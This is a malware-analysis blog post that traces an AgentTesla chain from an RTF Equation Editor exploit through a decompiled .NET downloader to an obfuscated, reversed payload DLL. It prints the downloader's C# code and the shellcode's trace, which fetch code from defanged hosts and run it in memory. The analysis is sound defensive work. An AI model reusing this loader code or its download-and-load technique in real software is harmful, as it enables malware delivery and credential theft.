AgentTesla From RTF Exploitation to .NET Tradecraft

forensicitguy.github.io/agenttesla-rtf-dotnet-tradecraft/

February 6, 2022

By *Tony Lambert*
Posted *2022-02-06* Updated *2022-03-28* *18 min* read

When adversaries buy and deploy threats like AgentTesla you often see this functional and entertaining chain of older exploitation activity with some .NET framework tradecraft you'd expect from some modern implants. In this post I'll walk through analyzing one such sample that involves RTF/Equation Editor exploitation and a modular downloader that invokes AgentTesla. If you want to follow along at home, the sample is in MalwareBazaar here: https://bazaar.abuse.ch/sample/213d36f7d37abac0df9187e6ce3ed8e26bc61bd3e02a725b079be90d7cfd5117/.

Triage the Document File

MalwareBazaar says we have a DOC file, but it could be wrong so let's take a look with a couple different tools.

```
remnux@remnux:~/cases/tesla-rtf$ file
orden.doc
orden.doc: Rich Text Format data, unknown
version

remnux@remnux:~/cases/tesla-rtf$ diec
orden.doc
filetype: Binary
arch: NOEXEC
mode: Unknown
endianess: LE
type: Unknown
  format: RTF
  format: plain text[CR]
```

The magic bytes for this file make `file` and Detect-It-Easy think the it's a Rich Text Format file. This file type shifts our analysis path a bit. If the document was a DOC or DOCX format we might expect VBA macros. In this case malicious RTF files commonly contain embedded OLE objects or exploit shellcode for a handful of CVEs in MS Office Equation Editor that are about 5 years old. But the exploits still work. Let's see which attack path we have here.

Analyzing the RTF Document

Our first analysis path should be to rule out whether embedded OLE things are in the file. We can do this using a combination of `rtfobj` and `rtfdump.py`.

```
remnux@remnux:~/cases/tesla-rtf$ rtfobj orden.rtf
rtfobj 0.60 on Python 3.8.10 - http://decalage.info/python/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues

===========================================================================
=====
File: 'orden.rtf' - size: 3852 bytes
---+----------+-----------------------------------------------------------
----
id |index     |OLE Object
---+----------+-----------------------------------------------------------
----
0  |00000120h |Not a well-formed OLE object
---+----------+-----------------------------------------------------------
----
1  |000000CAh |Not a well-formed OLE object
---+----------+-----------------------------------------------------------
----

remnux@remnux:~/cases/tesla-rtf$ rtfdump.py -f O orden.rtf

remnux@remnux:~/cases/tesla-rtf$
```

The output from `rtfobj` and `rtfdump.py` both indicate there aren't OLE objects expected here. If there were we'd likely see an OLE object describing a SCT script file or something similar. So I'm thinking we have RTF Equation Editor exploitation shellcode here. Let's hunt for that using `rtfdump.py`.

```
remnux@remnux:~/cases/tesla-rtf$ rtfdump.py orden.rtf
    1 Level  1        c=    1 p=00000000 l=    3850 h=    3258;    3115 b=       0   u=
44 \rtf4818
    2  Level  2       c=    1 p=00000012 l=    3831 h=    3255;    3115 b=       0   u=
38 \object18503741
    3   Level  3      c=    2 p=000000b9 l=    3663 h=    3247;    3115 b=       0   u=
38 \*\objdata132794
    4    Level  4     c=    1 p=000000cb l=     274 h=      21;      11 b=       0   u=
38
    5     Level  5    c=    1 p=000000cc l=     272 h=      21;      11 b=       0   u=
38
...
   68                 c=    0 p=000001ff l=      82 h=      18;      18 b=       0   u=
0 \*\levelprevspace569740588
```

It looks like there are 68 streams here in the document, and we want to inspect the streams starting from largest to smallest until you start finding streams with hardly any data. In this document we'll focus on the first 3 streams since they're large.

```
remnux@remnux:~/cases/tesla-rtf$ rtfdump.py -H -s 1 orden.rtf | head
00000000: B5 61 85 03 74 16 DF DE  F3 12 CD 0C 6C 23 D2 CC
.a..t.......l#..
00000010: 56 97 40 58 85 69 74 05  88 CA E9 7B 08 02 00 00  V.@X.it....
{....
00000020: 00 0B 00 00 00 45 71 55  41 54 69 4F 4E 2E 33 00
.....EqUATiON.3.
00000030: 00 00 00 00 00 00 00 00  19 06 00 00 02 7E 01 EB
.............~..
00000040: 47 0A 01 05 A0 26 3B EC  00 00 00 00 00 00 00 00
G....&;.........
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
................
00000060: 00 50 06 45 00 00 00 00  00 00 00 00 00 00 00 00
.P.E............
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
................
00000080: 00 29 C3 44 00 00 00 00  E9 74 01 00 00 03 34 AD
.).D.....t....4.
00000090: 9D 71 6B 52 A9 8A 3B 6E  7B 04 76 FB 3A 6B AB E6
.qkR..;n{.v.:k..

emnux@remnux:~/cases/tesla-rtf$ rtfdump.py -H -s 2 orden.rtf | head
00000000: 18 50 37 41 6D FD EF 31  2C D0 C6 C2 3D 2C C5 69
.P7Am..1,...=,.i
00000010: 74 05 88 56 97 40 58 8C  AE 97 B0 80 20 00 00 00
t..V.@X..... ...
00000020: B0 00 00 04 57 15 54 15  46 94 F4 E2 E3 30 00 00
....W.T.F....0..
00000030: 00 00 00 00 00 00 01 90  60 00 00 27 E0 1E B4 70
........`..'...p
00000040: A0 10 5A 02 63 BE C0 00  00 00 00 00 00 00 00 00
..Z.c...........
```

```
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 05
................
00000060: 00 64 50 00 00 00 00 00  00 00 00 00 00 00 00 00
.dP.............
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 02
................
00000080: 9C 34 40 00 00 00 0E 97  40 10 00 00 33 4A D9 D7
.4@.....@...3J..
00000090: 16 B5 2A 98 A3 B6 E7 B0  47 6F B3 A6 BA BE 67 35
..*.....Go....g5

remnux@remnux:~/cases/tesla-rtf$ rtfdump.py -H -s 3 orden.rtf | head
00000000: 6D FD EF 31 2C D0 C6 C2  3D 2C C5 69 74 05 88 56
m..1,...=,.it..V
00000010: 97 40 58 8C AE 97 B0 80  20 00 00 00 B0 00 00 04  .@X.....
.......
00000020: 57 15 54 15 46 94 F4 E2  E3 30 00 00 00 00 00 00
W.T.F....0......
00000030: 00 00 01 90 60 00 00 27  E0 1E B4 70 A0 10 5A 02
....`..'...p..Z.
00000040: 63 BE C0 00 00 00 00 00  00 00 00 00 00 00 00 00
c...............
00000050: 00 00 00 00 00 00 00 00  00 00 00 05 00 64 50 00
............dP.
00000060: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
................
00000070: 00 00 00 00 00 00 00 00  00 00 00 02 9C 34 40 00
............4@.
00000080: 00 00 0E 97 40 10 00 00  33 4A D9 D7 16 B5 2A 98
....@...3J....*.
00000090: A3 B6 E7 B0 47 6F B3 A6  BA BE 67 35 C7 35 05 7C
....Go....g5.5.|
```

Stream 1 has the string `EqUATiON.3` pretty close to its head, so that's going to be our best bet to keep analysis going. We can extract it using `rtfdump.py` again.

```
remnux@remnux:~/cases/tesla-rtf$ rtfdump.py -d -H -s 1 orden.rtf >
1.dat

remnux@remnux:~/cases/tesla-rtf$ file 1.dat
1.dat: data
```

It looks like the first stream exported and gave us some data as expected. For the next step, we need to deduce the entry point of the shellcode. From there we can emulate the shellcode execution. The best way I've seen to identify the shellcode entry point so far is to use `xorsearch.py -W`.

```
remnux@remnux:~/cases/tesla-rtf$ xorsearch -W
1.dat
Found XOR 00 position 00000201: GetEIP method 2
EB11
Found ROT 25 position 00000201: GetEIP method 2
EB11
Found ROT 24 position 00000201: GetEIP method 2
EB11
Found ROT 23 position 00000201: GetEIP method 2
EB11
Found ROT 22 position 00000201: GetEIP method 2
EB11
Found ROT 21 position 00000201: GetEIP method 2
EB11
Found ROT 20 position 00000201: GetEIP method 2
EB11
Found ROT 19 position 00000201: GetEIP method 2
EB11
Found ROT 18 position 00000201: GetEIP method 2
EB11
Found ROT 17 position 00000201: GetEIP method 2
EB11
Found ROT 16 position 00000201: GetEIP method 2
EB11
Found ROT 15 position 00000201: GetEIP method 2
EB11
Found ROT 14 position 00000201: GetEIP method 2
EB11
Found ROT 13 position 00000201: GetEIP method 2
EB11
Found ROT 12 position 00000201: GetEIP method 2
EB11
Found ROT 11 position 00000201: GetEIP method 2
EB11
Found ROT 10 position 00000201: GetEIP method 2
EB11
Found ROT 09 position 00000201: GetEIP method 2
EB11
Found ROT 08 position 00000201: GetEIP method 2
EB11
```

```
Found ROT 07 position 00000201: GetEIP method 2
EB11
Found ROT 06 position 00000201: GetEIP method 2
EB11
Found ROT 05 position 00000201: GetEIP method 2
EB11
Found ROT 04 position 00000201: GetEIP method 2
EB11
Found ROT 03 position 00000201: GetEIP method 2
EB11
Found ROT 02 position 00000201: GetEIP method 2
EB11
Found ROT 01 position 00000201: GetEIP method 2
EB11
Score: 260
```

It looks like `xorsearch.py` located a GetEIP method used by shellcode to figure out its orientation in memory. We can feed that `00000201` offset into our shellcode emulator `scdbg` .

And we get some text output from the emulator to show what the shellcode does (I went ahead and defanged the URL).

```
401438  GetProcAddress(ExpandEnvironmentStringsW)
401477  ExpandEnvironmentStringsW(%APPDATA%\zxcbnmgu.exe, dst=12fad8, sz=104)
40148c  LoadLibraryW(UrlMon)
4014a7  GetProcAddress(URLDownloadToFileW)
401503  URLDownloadToFileW(hxxp://scottbyscott[.]com/ebux/try.exe,
C:\users\remnux\Application Data\zxcbnmgu.exe)
40151f  GetProcAddress(WideCharToMultiByte)
40153d  WideCharToMultiByte(0,0,in=12fad8,sz=ffffffff,out=12fcf4,sz=104,0,0) = 0
40154d  GetProcAddress(WinExec)
401559  WinExec()
40156d  GetProcAddress(ExitProcess)
401571  ExitProcess(0)
```

There are a few Win32 API calls here, but there are only a few for us to worry about. The `ExpandEnvironmentStringsW` function looks like it's preparing for the adversary to write a file to `%APPDATA%\zxcbnmgu.exe`. Next, the `URLDownloadToFileW` function retrieves some content from `scottbyscott[.]com` and writes the EXE to that file under AppData. Finally, the downloaded application launches and Equation Editor exits using `ExitProcess`.

Now we have some additional EXE content to work with!

Analyzing the Try.exe Binary

Using Detect-It-Easy we can see the `try.exe` binary is a .NET executable.

```
remnux@remnux:~/cases/tesla-rtf$ diec try.exe
filetype: PE32
arch: I386
mode: 32-bit
endianess: LE
type: Console
  library: .NET(v4.0.30319)[-]
  linker: Microsoft Linker(48.0)
[Console32,console]
```

This is a stroke of good fortune for us, because we can pretty easily get this back to source code for inspection. To do so, we can use `ilspycmd` and pray there's no obfuscation.

```
remnux@remnux:~/cases/tesla-rtf$ ilspycmd try.exe >
try.decompiled.cs

remnux@remnux:~/cases/tesla-rtf$ head try.decompiled.cs
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Configuration;
using System.Diagnostics;
using System.Globalization;
using System.Net.Http;
using System.Reflection;
using System.Resources;
using System.Runtime.CompilerServices;
```

Awesome, it looks like we got some successful decompilation. Let's inspect the code.

```
[assembly: AssemblyTitle("Google Chrome")]
[assembly: AssemblyDescription("Google Chrome")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("Google LLC")]
[assembly: AssemblyProduct("Google Chrome")]
[assembly: AssemblyCopyright("Copyright 2022 Google LLC. All rights reserved.")]
[assembly: AssemblyTrademark("")]
[assembly: ComVisible(false)]
[assembly: Guid("9ed52309-a8ba-46e5-8d13-1d18443695a0")]
[assembly: AssemblyFileVersion("100.0.4869.0")]
[assembly: TargetFramework(".NETFramework,Version=v4.6", FrameworkDisplayName = ".NET
Framework 4.6")]
[assembly: AssemblyVersion("100.0.4869.0")]
```

Immediately in the assembly properties we can tell the adversary is trying to masquerade as Google Chrome. They're trying to pose as Chrome v100. Another good data point is the GUID value in the assembly properties. If you have VirusTotal Enterprise/Intelligence you can plug that GUID into a search using `netguid:` and pivot to find similar .NET binaries. Alright, since this is a .NET EXE and not a DLL, let's try to find the entry point. It should be the function Main().

```
private static byte[] _buffer;

private static Assembly _assembly;

[STAThread]
private static void Main()
{

Native.ShowWindow(Process.GetCurrentProcess().get_MainWindowHandle(),
0);
    Read();
    if (BufferLength() > 0)
    {
        if (Mix() > -1 && ACMP() > -1)
        {
            Console.WriteLine("Done");
        }
        return;
    }
    throw new Exception();
}
```

Sure enough, we have a Main function that IS NOT OBFUSCATED! This calls for a drink. Anyways, it looks like Main calls 4 functions defined in the code:

- Read()
- BufferLength()
- Mix()
- ACMP()

Let’s take a look at Read() first.

```
private static bool Read()
{
    try
    {
        for (int i = 0; i < 5; i++)
        {
            ProcessStartInfo val = new
ProcessStartInfo();
            val.set_FileName("powershell");
            val.set_Arguments("Test-Connection
127.0.0.1");
            val.set_CreateNoWindow(true);

val.set_WindowStyle((ProcessWindowStyle)1);
            Process.Start(val).WaitForExit();
        }
        return true;
    }
    catch
    {
    }
    return false;
}
```

The Read() function looks like it pieces together a PowerShell connection using a ProcessStartInfo object and executes it with Process.Start, waiting for the process to finish. Once the command gets build and run, it'll execute `powershell.exe Test-Connection 127.0.0.1`. The Test-Connection cmdlet in PowerShell is similar to a `ping` command. When I see this activity in the wild it's usually either a connectivity test or a method to impose a time delay. Once this time delay finishes, the method returns and moves to BufferLength().

```
private static long BufferLength()
{
    _buffer =
((Task<byte[]>)typeof(HttpClient).GetMethod("SrdsGetBySrdsteArrSrdsayAsySrdsnc".Replace("S
rds", ""), new Type[1]
    {
        typeof(string)
    })!.Invoke(new HttpClient(), new object[1]
    {
        "hxxp://185.222.58[.]56/try.png"
    })).Result;
    return _buffer.Length;
}
```

So the BufferLength() function downloads content into a byte array in a rather verbose way. It searches the HttpClient .NET class for the method GetByteArrayAsync() and then invokes it with a URL argument. The result gets saved into `_buffer`, a byte array variable, and the function returns the length of this variable. The return value gets used in a `BufferLength() > 0` check to make sure some content downloaded before proceeding. Now let's look at the Mix() function.

```
private static long Mix()
{
    Array.Reverse((Array)_buffer, 0,
_buffer.Length);
    _assembly = Assembly.Load(_buffer);
    return _assembly.HostContext;
}
```

The Mix() function takes the `_buffer` variable, reverses its contents, and reflectively loads the reversed contents into a `_assembly` variable. At this point we can be pretty certain that `_buffer` contains a .NET assembly inside its byte array and that assembly is loaded into memory. From here, we can assume there will be some kind of Invoke method occurring in ACMP().

```
private static long ACMP()
{
    Type[] exportedTypes = _assembly.GetExportedTypes();
    foreach (Type type in exportedTypes)
    {
        MethodInfo[] methods = type.GetMethods();
        foreach (MethodInfo methodInfo in methods)
        {
            if (methodInfo.Name ==
"Qddywbxavgtbjaukcldrpmcm")
            {
                return (long)methodInfo.Invoke(null,
null);
            }
        }
    }
    return 0L;
}
```

The ACMP() function enumerates the methods in the assembly that was just reflectively loaded in `_assembly`, looking for a method named `Qddywbxavgtbjaukcldrpmcm()`. Once found, it invokes the method.

Thus ends the story of `try.exe`, now it's time to analyze `try.png` that was downloaded.

Analyzing the Try.PNG File

Remembering back to the Mix() function, the bytes of `try.png` are reversed before they get loaded as a .NET assembly. First, we need to make sure the file we have is a reversed EXE or DLL.

```
remnux@remnux:~/cases/tesla-rtf$ xxd -C try.png | head
00000000: 0000 0000 0000 0000 0000 0000 0000 0000
................
00000010: 0000 0000 0000 0000 0000 0000 0000 0000
................
00000020: 0000 0000 0000 0000 0000 0000 0000 0000
................
00000030: 0000 0000 0000 0000 0000 0000 0000 0000
................
00000040: 0000 0000 0000 0000 0000 0000 0000 0000
................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000
................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000
................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000
................
00000080: 0000 0000 0000 0000 0000 0000 0000 0000
................
00000090: 0000 0000 0000 0000 0000 0000 0000 0000
................

remnux@remnux:~/cases/tesla-rtf$ xxd -C try.png | tail
00082b60: 0008 2400 0006 010b 210e 00e0 0000 0000
..$.....!.......
00082b70: 0000 0000 61fd 4946 0003 014c 0000 4550
....a.IF...L..EP
00082b80: 0000 0000 0000 0024 0a0d 0d2e 6564 6f6d
.......$....edom
00082b90: 2053 4f44 206e 6920 6e75 7220 6562 2074   SOD ni nur
eb t
00082ba0: 6f6e 6e61 6320 6d61 7267 6f72 7020 7369  onnac
margorp si
00082bb0: 6854 21cd 4c01 b821 cd09 b400 0eba 1f0e
hT!.L..!........
00082bc0: 0000 0080 0000 0000 0000 0000 0000 0000
................
00082bd0: 0000 0000 0000 0000 0000 0000 0000 0000
................
00082be0: 0000 0000 0000 0040 0000 0000 0000 00b8
.......@........
00082bf0: 0000 ffff 0000 0004 0000 0003 0090 5a4d
..............ZM
```

Sure enough, the end of `try.png` looks like it ends with a reversed `MZ` and has a reversed DOS stub. We can easily reverse these bytes using a bit of PowerShell code.

```
[Byte[]] $contents = Get-Content -AsByteStream ./try.png
[Array]::Reverse($contents)
Set-Content -Path ./reversed_try.png -Value $contents -
AsByteStream
```

Now we have a .NET DLL in `reversed_try.png`!

```
remnux@remnux:~/cases/tesla-rtf$ diec
reversed_try.png
filetype: PE32
arch: I386
mode: 32-bit
endianess: LE
type: DLL
  library: .NET(v4.0.30319)[-]
  linker: Microsoft Linker(6.0)[DLL32]
```

Just like before with `try.exe` we can give this a shot at decompiling, but in this case there is a lot of obfuscation.

```
remnux@remnux:~/cases/tesla-rtf$ ilspycmd reversed_try.png >
reversed_try.decompiled.cs

remnux@remnux:~/cases/tesla-rtf$ head reversed_try.decompiled.cs
using System;
using System.CodeDom.Compiler;
using System.Collections;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Globalization;
using System.IO;
using System.Reflection;
```

We have some valid C# code, so let’s take a look and see how heavy the obfuscation is. Immediately we can see that the obfuscation is beyond just some string scrambling and gets into Unicode madness.

```
internal class <Module>
{
    static <Module>()
    {
        if (uint.MaxValue != 0)
        {
            \u0005\u2009\u2000.\u0002();
        }
        if (7u != 0)
        {
            f0659e5905454a5e99b9752afc78b700();
        }
        if (true)
        {
            \u0008\u2002\u2000.\u0002();
        }
    }

    private static void
f0659e5905454a5e99b9752afc78b700()
    {
        if (4u != 0)
        {
            \u0008\u2009\u2000.\u0002();
```

```
        }
    }
}
```

This is a level of obfuscation that tends to keep me up a little too late at night, so I'm going to cut analysis short here but mention another little part of this binary: .NET resources.

Extracting .NET Resources

It's really common for adversaries to hide executable content within Windows PE resources. The same is true of .NET assemblies, but assemblies have resources stored in a different way than traditional PE resources. AgentTesla has done this in the past and it seems like the same is occurring here:

```
Stream? manifestResourceStream =
typeof(\u0002\u200a\u2000).Assembly.GetManifestResourceStream("289e8a8929dc4fc2616eefa4e38317
22");
byte[] array = new byte[128];
if (8u != 0)
{
    RuntimeHelpers.InitializeArray(array, (RuntimeFieldHandle)/*OpCode not supported:
LdMemberToken*/);
}
Stream stream = \u0008\u2006.\u0002(manifestResourceStream, array, \u0002());
if (4u != 0)
{
    \u0005\u200a\u2000 = stream;
}
```

In the obfuscated .NET DLL it looks like the code is retrieving additional content from a .NET resource in the binary named `289e8a8929dc4fc2616eefa4e3831722` and working with it. During analysis I used this PowerShell code to extract the resource, but you can also use ILSpy or DNSpy.

```
$teslaAssembly = [System.Reflection.Assembly]::LoadFile('/home/remnux/cases/tesla-
rtf/reversed_try.png')
$teslaManifestName = $teslaAssembly.GetManifestResourceNames()
$teslaResourceStream =
$teslaAssembly.GetManifestResourceStream('289e8a8929dc4fc2616eefa4e3831722')
$resourceContents = [byte[]]::new([System.Convert]::ToInt32($teslaResourceStream.length))
$teslaResourceStream.Read($resourceContents,0,
[System.Convert]::ToInt32($teslaResourceStream.Length))
Set-Content -Path 289e8a8929dc4fc2616eefa4e3831722 -Value $resourceContents -AsByteStream
```

The contents of `289e8a8929dc4fc2616eefa4e3831722` are presumably XOR'd but I haven't fully run that to ground yet.

Adversary Decisions

I want to close out the post by pointing out a design decision in this threat that interests me a bit. The adversary used `try.exe`, compiled .NET code, to download and execute an additional .NET DLL. Several other threats in the wild also use this technique such as Yellow Cockatoo/Jupyter and GootLoader. It's a relatively simple endeavor to write Invoke-WebRequest commands in PowerShell and call `[System.Reflection.Assembly]::Load` to load a byte array into memory. The adversary here decided to make this download via a non-obfuscated binary, making analysis really simple. They also ran the risk of application allowlisting running on the host. If allowlisting was present, they'd fail their objective and need to use PowerShell instead. However, doing so with PowerShell also opens up the adversary to risk by allowing PowerShell log analysis. All of these decisions have advantages and disadvantages.

Thanks for reading and have a good week!